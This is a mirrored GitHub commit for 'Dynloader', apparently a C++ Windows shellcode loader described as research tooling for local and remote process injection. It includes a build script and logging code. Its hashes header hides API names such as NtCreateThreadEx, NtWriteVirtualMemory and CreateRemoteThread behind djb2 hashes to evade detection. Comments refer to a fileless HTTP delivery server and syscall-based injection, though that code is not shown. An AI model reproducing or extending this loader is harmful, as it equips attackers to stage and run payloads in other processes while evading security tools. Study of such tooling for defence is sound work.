mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
Initial version Dynldr modules - V1.0.1
This commit is contained in:
@@ -2,13 +2,13 @@
|
||||
|
||||
**Modular Windows loader using C++**
|
||||
|
||||
For Workaround Check -> **[Building](#Building)**, **[usage](#usage)** and **[testing / demo](#demo)**.
|
||||
For **[usage](#usage)** and **[testing / demo](#demo)**.
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts, the currect verison support only shellcode staging, Planned more implementation -> check out **[Planned features](#Planned-features)**.
|
||||
**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts. The current version supports shellcode staging only — planned work is under **[Planned features](#planned-features)**.
|
||||
|
||||
It can:
|
||||
|
||||
@@ -217,7 +217,7 @@ Writes `.enc` + `.key` next to the input for lab packaging.
|
||||
|
||||
---
|
||||
|
||||
## Planned-features
|
||||
## Planned features
|
||||
|
||||
- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`)
|
||||
- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,291 @@
|
||||
@echo off
|
||||
setlocal EnableExtensions EnableDelayedExpansion
|
||||
|
||||
:: =============================================================================
|
||||
:: build.bat — portable build for loader (Release|x64 by default)
|
||||
::
|
||||
:: Usage:
|
||||
:: build.bat Build Release x64
|
||||
:: build.bat debug Build Debug x64
|
||||
:: build.bat clean Clean intermediate + output
|
||||
:: build.bat --install If no MSVC found, install VS Build Tools (minimal)
|
||||
:: build.bat --install debug Install tools then Debug build
|
||||
::
|
||||
:: What it needs (auto if --install):
|
||||
:: - Visual Studio 2019/2022/18 Build Tools OR full VS
|
||||
:: workload: Desktop development with C++ (VCTools)
|
||||
:: - Windows 10/11 SDK (pulled with workload)
|
||||
::
|
||||
:: True zero-install is not possible: MSVC is ~1–3 GB. This script only
|
||||
:: downloads the official Build Tools bootstrapper when you pass --install.
|
||||
::
|
||||
:: Runtime: project links STATIC CRT (/MT Release, /MTd Debug) so loader.exe
|
||||
:: does NOT need vcruntime140.dll / msvcp140.dll next to it on target PCs.
|
||||
:: Prefer: build.bat (Release) for drop-and-run lab use.
|
||||
:: =============================================================================
|
||||
|
||||
cd /d "%~dp0"
|
||||
set "ROOT=%CD%"
|
||||
set "SLN=%ROOT%\loader.sln"
|
||||
set "CONFIG=Release"
|
||||
set "PLATFORM=x64"
|
||||
set "DO_INSTALL=0"
|
||||
set "DO_CLEAN=0"
|
||||
set "MSBUILD="
|
||||
set "VSWHERE="
|
||||
set "TOOLSET="
|
||||
set "VSINSTALL="
|
||||
set "VCVARS="
|
||||
|
||||
for %%A in (%*) do (
|
||||
if /I "%%~A"=="--install" set "DO_INSTALL=1"
|
||||
if /I "%%~A"=="/install" set "DO_INSTALL=1"
|
||||
if /I "%%~A"=="install" set "DO_INSTALL=1"
|
||||
if /I "%%~A"=="debug" set "CONFIG=Debug"
|
||||
if /I "%%~A"=="Debug" set "CONFIG=Debug"
|
||||
if /I "%%~A"=="release" set "CONFIG=Release"
|
||||
if /I "%%~A"=="Release" set "CONFIG=Release"
|
||||
if /I "%%~A"=="clean" set "DO_CLEAN=1"
|
||||
if /I "%%~A"=="Clean" set "DO_CLEAN=1"
|
||||
)
|
||||
|
||||
if not exist "%SLN%" (
|
||||
echo [x] loader.sln not found in "%ROOT%"
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo ============================================
|
||||
echo loader build ^| %CONFIG%^|%PLATFORM%
|
||||
echo ============================================
|
||||
echo.
|
||||
|
||||
call :FindVsWhere
|
||||
call :FindMsBuild
|
||||
if defined MSBUILD goto :HaveToolchain
|
||||
|
||||
if "%DO_INSTALL%"=="1" (
|
||||
call :InstallBuildTools
|
||||
call :FindVsWhere
|
||||
call :FindMsBuild
|
||||
)
|
||||
|
||||
if not defined MSBUILD (
|
||||
echo [x] MSBuild / C++ toolset not found.
|
||||
echo.
|
||||
echo Install options:
|
||||
echo 1^) Re-run: build.bat --install
|
||||
echo ^(downloads VS Build Tools + C++ workload, needs admin + internet^)
|
||||
echo 2^) Manual: https://visualstudio.microsoft.com/visual-cpp-build-tools/
|
||||
echo Select "Desktop development with C++"
|
||||
echo.
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
:HaveToolchain
|
||||
call :DetectToolset
|
||||
echo [+] MSBuild : %MSBUILD%
|
||||
if defined TOOLSET (
|
||||
echo [+] Toolset: %TOOLSET%
|
||||
) else (
|
||||
echo [!] Toolset: ^(project default / auto^)
|
||||
)
|
||||
echo [+] Config : %CONFIG%^|%PLATFORM%
|
||||
echo.
|
||||
|
||||
if "%DO_CLEAN%"=="1" (
|
||||
echo [*] Cleaning...
|
||||
"%MSBUILD%" "%SLN%" /t:Clean /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /m /nologo /v:minimal
|
||||
if errorlevel 1 exit /b 1
|
||||
echo [+] Clean done.
|
||||
exit /b 0
|
||||
)
|
||||
|
||||
set "EXTRA_PROPS="
|
||||
if defined TOOLSET set "EXTRA_PROPS=/p:PlatformToolset=%TOOLSET%"
|
||||
|
||||
echo [*] Building...
|
||||
"%MSBUILD%" "%SLN%" /t:Build /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% %EXTRA_PROPS% /m /nologo /v:minimal
|
||||
if errorlevel 1 (
|
||||
echo.
|
||||
echo [x] Build FAILED.
|
||||
echo If the exe is locked: close loader.exe and rebuild.
|
||||
echo If toolset missing: build.bat --install
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
set "OUT=%ROOT%\x64\%CONFIG%\loader.exe"
|
||||
if exist "%OUT%" (
|
||||
echo.
|
||||
echo [+] SUCCESS
|
||||
echo [+] Output: %OUT%
|
||||
for %%F in ("%OUT%") do echo [+] Size : %%~zF bytes
|
||||
) else (
|
||||
echo.
|
||||
echo [!] Build reported success but "%OUT%" not found.
|
||||
echo Check loader\x64\%CONFIG%\ or project OutDir.
|
||||
)
|
||||
|
||||
echo.
|
||||
exit /b 0
|
||||
|
||||
:: ---------------------------------------------------------------------------
|
||||
:: Find vswhere.exe (ships with VS Installer)
|
||||
:: ---------------------------------------------------------------------------
|
||||
:FindVsWhere
|
||||
set "VSWHERE="
|
||||
if exist "%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" (
|
||||
set "VSWHERE=%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||
exit /b 0
|
||||
)
|
||||
if exist "%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe" (
|
||||
set "VSWHERE=%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||
)
|
||||
exit /b 0
|
||||
|
||||
:: ---------------------------------------------------------------------------
|
||||
:: Locate MSBuild that can build C++ (prefers latest with VC tools)
|
||||
:: ---------------------------------------------------------------------------
|
||||
:FindMsBuild
|
||||
set "MSBUILD="
|
||||
set "VSINSTALL="
|
||||
|
||||
if defined VSWHERE (
|
||||
:: Prefer install with Microsoft.VisualStudio.Component.VC.Tools.x86.x64
|
||||
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do (
|
||||
set "VSINSTALL=%%I"
|
||||
)
|
||||
if not defined VSINSTALL (
|
||||
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.Component.MSBuild -property installationPath 2^>nul`) do (
|
||||
set "VSINSTALL=%%I"
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
if defined VSINSTALL (
|
||||
if exist "!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe" (
|
||||
set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
exit /b 0
|
||||
)
|
||||
if exist "!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe" (
|
||||
set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe"
|
||||
exit /b 0
|
||||
)
|
||||
)
|
||||
|
||||
:: Fallback: common fixed paths (VS 18 / 2022 / 2019 Build Tools + Community)
|
||||
for %%P in (
|
||||
"%ProgramFiles%\Microsoft Visual Studio\18\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
"%ProgramFiles%\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
"%ProgramFiles%\Microsoft Visual Studio\18\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
"%ProgramFiles%\Microsoft Visual Studio\18\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
"%ProgramFiles%\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
"%ProgramFiles%\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
"%ProgramFiles%\Microsoft Visual Studio\2022\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
"%ProgramFiles%\Microsoft Visual Studio\2022\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||
"%ProgramFiles(x86)%\Microsoft Visual Studio\2019\BuildTools\MSBuild\Current\Bin\MSBuild.exe"
|
||||
"%ProgramFiles(x86)%\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe"
|
||||
) do (
|
||||
if exist %%~P (
|
||||
set "MSBUILD=%%~P"
|
||||
exit /b 0
|
||||
)
|
||||
)
|
||||
|
||||
:: PATH
|
||||
where msbuild.exe >nul 2>&1
|
||||
if not errorlevel 1 (
|
||||
for /f "delims=" %%I in ('where msbuild.exe') do (
|
||||
set "MSBUILD=%%I"
|
||||
exit /b 0
|
||||
)
|
||||
)
|
||||
exit /b 0
|
||||
|
||||
:: ---------------------------------------------------------------------------
|
||||
:: Pick PlatformToolset matching installed VS (project file says v145)
|
||||
:: ---------------------------------------------------------------------------
|
||||
:DetectToolset
|
||||
set "TOOLSET="
|
||||
|
||||
:: Map VS major version from vswhere when possible
|
||||
if defined VSWHERE (
|
||||
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationVersion 2^>nul`) do (
|
||||
set "VSVER=%%I"
|
||||
)
|
||||
if defined VSVER (
|
||||
for /f "tokens=1 delims=." %%M in ("!VSVER!") do set "VSMAJOR=%%M"
|
||||
if "!VSMAJOR!"=="18" set "TOOLSET=v145"
|
||||
if "!VSMAJOR!"=="17" set "TOOLSET=v143"
|
||||
if "!VSMAJOR!"=="16" set "TOOLSET=v142"
|
||||
if defined TOOLSET exit /b 0
|
||||
)
|
||||
)
|
||||
|
||||
:: Fallback: MSVC folder names under the install
|
||||
if defined VSINSTALL if exist "!VSINSTALL!\VC\Tools\MSVC" (
|
||||
for /f "delims=" %%V in ('dir /b /ad /o-n "!VSINSTALL!\VC\Tools\MSVC" 2^>nul') do (
|
||||
set "VER=%%V"
|
||||
set "MAJ=!VER:~0,4!"
|
||||
if "!MAJ!"=="14.5" ( set "TOOLSET=v145" & exit /b 0 )
|
||||
if "!MAJ!"=="14.4" ( set "TOOLSET=v143" & exit /b 0 )
|
||||
if "!MAJ!"=="14.3" ( set "TOOLSET=v143" & exit /b 0 )
|
||||
if "!MAJ!"=="14.2" ( set "TOOLSET=v142" & exit /b 0 )
|
||||
)
|
||||
)
|
||||
|
||||
:: Last resort: leave empty so .vcxproj PlatformToolset is used
|
||||
exit /b 0
|
||||
|
||||
:: ---------------------------------------------------------------------------
|
||||
:: Download + install minimal VS Build Tools (C++ desktop workload)
|
||||
:: ---------------------------------------------------------------------------
|
||||
:InstallBuildTools
|
||||
echo.
|
||||
echo [!] No C++ toolchain found. Installing Visual Studio Build Tools...
|
||||
echo Workload: Desktop development with C++ (VCTools)
|
||||
echo This needs Administrator rights and internet. Size ~1.5–3 GB.
|
||||
echo.
|
||||
|
||||
:: Prefer winget if present (cleanest)
|
||||
where winget.exe >nul 2>&1
|
||||
if not errorlevel 1 (
|
||||
echo [*] Trying winget install of VS 2022 Build Tools...
|
||||
winget install -e --id Microsoft.VisualStudio.2022.BuildTools --accept-package-agreements --accept-source-agreements --override "--wait --passive --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended --add Microsoft.VisualStudio.Component.Windows11SDK.22621"
|
||||
if not errorlevel 1 (
|
||||
echo [+] winget install finished.
|
||||
exit /b 0
|
||||
)
|
||||
echo [!] winget install failed or cancelled — falling back to bootstrapper.
|
||||
)
|
||||
|
||||
set "BT_DIR=%ROOT%\.build-tools"
|
||||
set "BT_EXE=%BT_DIR%\vs_BuildTools.exe"
|
||||
if not exist "%BT_DIR%" mkdir "%BT_DIR%"
|
||||
|
||||
if not exist "%BT_EXE%" (
|
||||
echo [*] Downloading VS Build Tools bootstrapper...
|
||||
:: Official ever-green bootstrapper (VS 2022 Build Tools)
|
||||
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
|
||||
"try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vs_BuildTools.exe' -OutFile '%BT_EXE%' -UseBasicParsing } catch { Write-Error $_; exit 1 }"
|
||||
if errorlevel 1 (
|
||||
echo [x] Download failed.
|
||||
exit /b 1
|
||||
)
|
||||
)
|
||||
|
||||
echo [*] Running installer (passive). Approve UAC if prompted...
|
||||
"%BT_EXE%" --wait --passive --norestart ^
|
||||
--add Microsoft.VisualStudio.Workload.VCTools ^
|
||||
--includeRecommended ^
|
||||
--add Microsoft.VisualStudio.Component.Windows11SDK.22621
|
||||
|
||||
if errorlevel 1 (
|
||||
echo [x] Build Tools install failed (exit %ERRORLEVEL%).
|
||||
echo Run this .bat as Administrator, or install manually:
|
||||
echo https://visualstudio.microsoft.com/visual-cpp-build-tools/
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [+] Build Tools install finished.
|
||||
exit /b 0
|
||||
@@ -0,0 +1,87 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
|
||||
// djb2 — compile-time and runtime hash for module/export resolution.
|
||||
// No plaintext API names required at call sites; only DWORD constants.
|
||||
namespace Hashes {
|
||||
|
||||
constexpr std::uint32_t kSeed = 5381u;
|
||||
|
||||
constexpr std::uint32_t Djb2(const char* s) {
|
||||
std::uint32_t h = kSeed;
|
||||
while (*s) {
|
||||
h = (h * 33u) + static_cast<unsigned char>(*s++);
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
constexpr std::uint32_t Djb2Lower(const char* s) {
|
||||
std::uint32_t h = kSeed;
|
||||
while (*s) {
|
||||
char c = *s++;
|
||||
if (c >= 'A' && c <= 'Z') {
|
||||
c = static_cast<char>(c + 32);
|
||||
}
|
||||
h = (h * 33u) + static_cast<unsigned char>(c);
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
// --- Module hashes (lowercase basename) ---
|
||||
constexpr std::uint32_t H_NTDLL_DLL = Djb2Lower("ntdll.dll");
|
||||
constexpr std::uint32_t H_KERNEL32_DLL = Djb2Lower("kernel32.dll");
|
||||
constexpr std::uint32_t H_LoadLibraryW = Djb2("LoadLibraryW");
|
||||
constexpr std::uint32_t H_CreateThread = 0x7F08F451u; // api_hash verified
|
||||
constexpr std::uint32_t H_WaitForSingleObject = Djb2("WaitForSingleObject");
|
||||
constexpr std::uint32_t H_CloseHandle = Djb2("CloseHandle");
|
||||
constexpr std::uint32_t H_CreateProcessW = Djb2("CreateProcessW");
|
||||
constexpr std::uint32_t H_CreateRemoteThread = Djb2("CreateRemoteThread");
|
||||
constexpr std::uint32_t H_ResumeThread = Djb2("ResumeThread");
|
||||
constexpr std::uint32_t H_SearchPathW = Djb2("SearchPathW");
|
||||
constexpr std::uint32_t H_OpenProcess = Djb2("OpenProcess");
|
||||
constexpr std::uint32_t H_WS2_32_DLL = Djb2Lower("ws2_32.dll");
|
||||
constexpr std::uint32_t H_BCRYPT_DLL = Djb2Lower("bcrypt.dll");
|
||||
|
||||
// --- NT exports (syscall targets) ---
|
||||
constexpr std::uint32_t H_NtAllocateVirtualMemory = Djb2("NtAllocateVirtualMemory");
|
||||
constexpr std::uint32_t H_NtProtectVirtualMemory = Djb2("NtProtectVirtualMemory");
|
||||
constexpr std::uint32_t H_NtWriteVirtualMemory = Djb2("NtWriteVirtualMemory");
|
||||
constexpr std::uint32_t H_NtFreeVirtualMemory = Djb2("NtFreeVirtualMemory");
|
||||
constexpr std::uint32_t H_NtCreateSection = Djb2("NtCreateSection");
|
||||
constexpr std::uint32_t H_NtMapViewOfSection = Djb2("NtMapViewOfSection");
|
||||
constexpr std::uint32_t H_NtUnmapViewOfSection = Djb2("NtUnmapViewOfSection");
|
||||
constexpr std::uint32_t H_NtOpenProcess = Djb2("NtOpenProcess");
|
||||
constexpr std::uint32_t H_NtCreateThreadEx = Djb2("NtCreateThreadEx");
|
||||
constexpr std::uint32_t H_NtClose = Djb2("NtClose");
|
||||
constexpr std::uint32_t H_NtQuerySystemInformation = Djb2("NtQuerySystemInformation");
|
||||
constexpr std::uint32_t H_NtCreateFile = Djb2("NtCreateFile");
|
||||
constexpr std::uint32_t H_NtReadFile = Djb2("NtReadFile");
|
||||
constexpr std::uint32_t H_NtQueryInformationProcess = Djb2("NtQueryInformationProcess");
|
||||
|
||||
// --- BCrypt (AES) — runtime-verified on MSVC x64 ---
|
||||
constexpr std::uint32_t H_BCryptOpenAlgorithmProvider = 0x2A15DFDDu;
|
||||
constexpr std::uint32_t H_BCryptCloseAlgorithmProvider = 0xFCD0CDC1u;
|
||||
constexpr std::uint32_t H_BCryptGenerateSymmetricKey = 0xA81D472Au;
|
||||
constexpr std::uint32_t H_BCryptDestroyKey = 0x7B16C8CCu;
|
||||
constexpr std::uint32_t H_BCryptEncrypt = 0xCB04529Eu;
|
||||
constexpr std::uint32_t H_BCryptDecrypt = 0x690BA834u;
|
||||
constexpr std::uint32_t H_BCryptSetProperty = 0xE9049EEAu;
|
||||
constexpr std::uint32_t H_BCryptGenRandom = 0x3A73C634u;
|
||||
|
||||
// --- Winsock (HTTP client/server) ---
|
||||
constexpr std::uint32_t H_WSAStartup = Djb2("WSAStartup");
|
||||
constexpr std::uint32_t H_WSACleanup = Djb2("WSACleanup");
|
||||
constexpr std::uint32_t H_socket = Djb2("socket");
|
||||
constexpr std::uint32_t H_connect = Djb2("connect");
|
||||
constexpr std::uint32_t H_send = Djb2("send");
|
||||
constexpr std::uint32_t H_recv = Djb2("recv");
|
||||
constexpr std::uint32_t H_closesocket = Djb2("closesocket");
|
||||
constexpr std::uint32_t H_bind = Djb2("bind");
|
||||
constexpr std::uint32_t H_listen = Djb2("listen");
|
||||
constexpr std::uint32_t H_accept = Djb2("accept");
|
||||
constexpr std::uint32_t H_getaddrinfo = Djb2("getaddrinfo");
|
||||
constexpr std::uint32_t H_freeaddrinfo = Djb2("freeaddrinfo");
|
||||
constexpr std::uint32_t H_setsockopt = Djb2("setsockopt");
|
||||
|
||||
} // namespace Hashes
|
||||
@@ -0,0 +1,141 @@
|
||||
#include "log.hpp"
|
||||
|
||||
#include <cstring>
|
||||
|
||||
namespace Log {
|
||||
|
||||
namespace {
|
||||
bool g_verbose = false;
|
||||
bool g_serverVerbose = false;
|
||||
|
||||
void VPrint(const char* prefix, const char* fmt, va_list args) {
|
||||
std::fprintf(stdout, "%s ", prefix);
|
||||
std::vfprintf(stdout, fmt, args);
|
||||
std::fprintf(stdout, "\n");
|
||||
std::fflush(stdout);
|
||||
}
|
||||
|
||||
void VPrintIf(bool enabled, const char* prefix, const char* fmt, va_list args) {
|
||||
if (!enabled) {
|
||||
return;
|
||||
}
|
||||
VPrint(prefix, fmt, args);
|
||||
}
|
||||
} // namespace
|
||||
|
||||
void SetVerbose(bool enabled) {
|
||||
g_verbose = enabled;
|
||||
}
|
||||
|
||||
void SetServerVerbose(bool enabled) {
|
||||
g_serverVerbose = enabled;
|
||||
}
|
||||
|
||||
bool IsVerbose() {
|
||||
return g_verbose;
|
||||
}
|
||||
|
||||
bool IsServerVerbose() {
|
||||
return g_serverVerbose;
|
||||
}
|
||||
|
||||
void Ok(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
VPrint("[+]", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void Warn(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
VPrint("[!]", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void Err(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
VPrint("[x]", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void Info(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
VPrintIf(g_verbose, "[*]", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void Dbg(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
VPrintIf(g_verbose, "[-]", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void Sys(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
VPrintIf(g_verbose, "[@]", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void Raw(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
VPrintIf(g_verbose, "[@]", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void Banner(const char* title) {
|
||||
if (!g_verbose) {
|
||||
return;
|
||||
}
|
||||
std::fprintf(stdout, "\n[@] === %s ===\n", title);
|
||||
std::fflush(stdout);
|
||||
}
|
||||
|
||||
void NtStatus(const char* tag, long status) {
|
||||
if (!g_verbose) {
|
||||
return;
|
||||
}
|
||||
std::fprintf(stdout, "[@] %s NTSTATUS=0x%08lX (%s)\n", tag,
|
||||
static_cast<unsigned long>(status),
|
||||
status >= 0 ? "SUCCESS" : "FAIL");
|
||||
std::fflush(stdout);
|
||||
}
|
||||
|
||||
void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes) {
|
||||
if (!g_verbose || !data || len == 0) {
|
||||
return;
|
||||
}
|
||||
const auto* p = static_cast<const unsigned char*>(data);
|
||||
const size_t n = len < maxBytes ? len : maxBytes;
|
||||
std::fprintf(stdout, "[@] %s hex[%zu/%zu]: ", tag, n, len);
|
||||
for (size_t i = 0; i < n; ++i) {
|
||||
std::fprintf(stdout, "%02X ", p[i]);
|
||||
}
|
||||
if (len > maxBytes) {
|
||||
std::fprintf(stdout, "...");
|
||||
}
|
||||
std::fprintf(stdout, "\n");
|
||||
std::fflush(stdout);
|
||||
}
|
||||
|
||||
void Srv(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
VPrintIf(g_serverVerbose, "[S]", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void SrvBanner(const char* title) {
|
||||
if (!g_serverVerbose) {
|
||||
return;
|
||||
}
|
||||
std::fprintf(stdout, "\n[S] === %s ===\n", title);
|
||||
std::fflush(stdout);
|
||||
}
|
||||
|
||||
} // namespace Log
|
||||
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdarg>
|
||||
#include <cstdio>
|
||||
#include <cstddef>
|
||||
|
||||
namespace Log {
|
||||
|
||||
// Two independent channels so --server --verbose does not dump loader/syscall noise,
|
||||
// and loader --verbose does not spam server request logs.
|
||||
void SetVerbose(bool enabled); // loader / injection / syscall path
|
||||
void SetServerVerbose(bool enabled); // HTTP fileless server path only
|
||||
bool IsVerbose();
|
||||
bool IsServerVerbose();
|
||||
|
||||
// Always shown (normal + verbose)
|
||||
void Ok(const char* fmt, ...); // [+] essential success
|
||||
void Warn(const char* fmt, ...); // [!] warning
|
||||
void Err(const char* fmt, ...); // [x] error
|
||||
|
||||
// Loader verbose only (--verbose on normal/fileless/enc)
|
||||
void Info(const char* fmt, ...); // [*] step info
|
||||
void Dbg(const char* fmt, ...); // [-] debug detail
|
||||
void Sys(const char* fmt, ...); // [@] syscall / internals
|
||||
void Raw(const char* fmt, ...); // [@] bare unstructured dump
|
||||
void Banner(const char* title); // [@] section header
|
||||
void NtStatus(const char* tag, long status);
|
||||
void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes = 64);
|
||||
|
||||
// Server verbose only (--server ... --verbose)
|
||||
void Srv(const char* fmt, ...); // [S] server step / request
|
||||
void SrvBanner(const char* title); // [S] server section header
|
||||
|
||||
} // namespace Log
|
||||
@@ -0,0 +1,110 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
using NTSTATUS = LONG;
|
||||
|
||||
// Additional NT constants not always in winternl.h
|
||||
#ifndef SEC_COMMIT
|
||||
#define SEC_COMMIT 0x08000000
|
||||
#endif
|
||||
|
||||
#ifndef ViewShare
|
||||
#define ViewShare 1
|
||||
#endif
|
||||
|
||||
#ifndef ViewUnmap
|
||||
#define ViewUnmap 2
|
||||
#endif
|
||||
|
||||
#ifndef SystemProcessInformation
|
||||
#define SystemProcessInformation 5
|
||||
#endif
|
||||
|
||||
#ifndef PROCESS_ALL_ACCESS
|
||||
#define PROCESS_ALL_ACCESS 0x001FFFFF
|
||||
#endif
|
||||
|
||||
#ifndef OBJ_CASE_INSENSITIVE
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#endif
|
||||
|
||||
typedef struct _UNICODE_STRING_NT {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING_NT, *PUNICODE_STRING_NT;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES_NT {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING_NT ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES_NT, *POBJECT_ATTRIBUTES_NT;
|
||||
|
||||
typedef struct _CLIENT_ID_NT {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID_NT, *PCLIENT_ID_NT;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK_NT {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK_NT, *PIO_STATUS_BLOCK_NT;
|
||||
|
||||
// Process enumeration (SystemProcessInformation)
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION_NT {
|
||||
ULONG NextEntryOffset;
|
||||
ULONG NumberOfThreads;
|
||||
LARGE_INTEGER Reserved[3];
|
||||
LARGE_INTEGER CreateTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER KernelTime;
|
||||
UNICODE_STRING_NT ImageName;
|
||||
LONG BasePriority;
|
||||
HANDLE UniqueProcessId;
|
||||
HANDLE InheritedFromUniqueProcessId;
|
||||
ULONG HandleCount;
|
||||
ULONG SessionId;
|
||||
ULONG_PTR PagefileUsage;
|
||||
ULONG_PTR PeakPagefileUsage;
|
||||
ULONG_PTR WorkingSetSize;
|
||||
ULONG_PTR PeakWorkingSetSize;
|
||||
ULONG_PTR QuotaPagedPoolUsage;
|
||||
ULONG_PTR QuotaPeakPagedPoolUsage;
|
||||
ULONG_PTR QuotaNonPagedPoolUsage;
|
||||
ULONG_PTR QuotaPeakNonPagedPoolUsage;
|
||||
ULONG_PTR PagefileUsage2;
|
||||
ULONG_PTR PeakPagefileUsage2;
|
||||
ULONG_PTR PrivatePageCount;
|
||||
LARGE_INTEGER ReadOperationCount;
|
||||
LARGE_INTEGER WriteOperationCount;
|
||||
LARGE_INTEGER OtherOperationCount;
|
||||
LARGE_INTEGER ReadTransferCount;
|
||||
LARGE_INTEGER WriteTransferCount;
|
||||
LARGE_INTEGER OtherTransferCount;
|
||||
} SYSTEM_PROCESS_INFORMATION_NT, *PSYSTEM_PROCESS_INFORMATION_NT;
|
||||
|
||||
inline void InitObjectAttributes(
|
||||
POBJECT_ATTRIBUTES_NT p,
|
||||
PUNICODE_STRING_NT name,
|
||||
ULONG attributes,
|
||||
HANDLE root,
|
||||
PVOID security)
|
||||
{
|
||||
p->Length = sizeof(OBJECT_ATTRIBUTES_NT);
|
||||
p->RootDirectory = root;
|
||||
p->Attributes = attributes;
|
||||
p->ObjectName = name;
|
||||
p->SecurityDescriptor = security;
|
||||
p->SecurityQualityOfService = nullptr;
|
||||
}
|
||||
@@ -0,0 +1,312 @@
|
||||
#include "aes_crypto.hpp"
|
||||
#include "../resolve/api_resolver.hpp"
|
||||
#include "../common/hashes.hpp"
|
||||
#include "../common/nt_types.hpp"
|
||||
#include "../common/log.hpp"
|
||||
|
||||
#include <bcrypt.h>
|
||||
#include <fstream>
|
||||
#include <cstring>
|
||||
|
||||
namespace AesCrypto {
|
||||
|
||||
namespace {
|
||||
|
||||
using BCryptOpenAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE*, LPCWSTR, LPCWSTR, ULONG);
|
||||
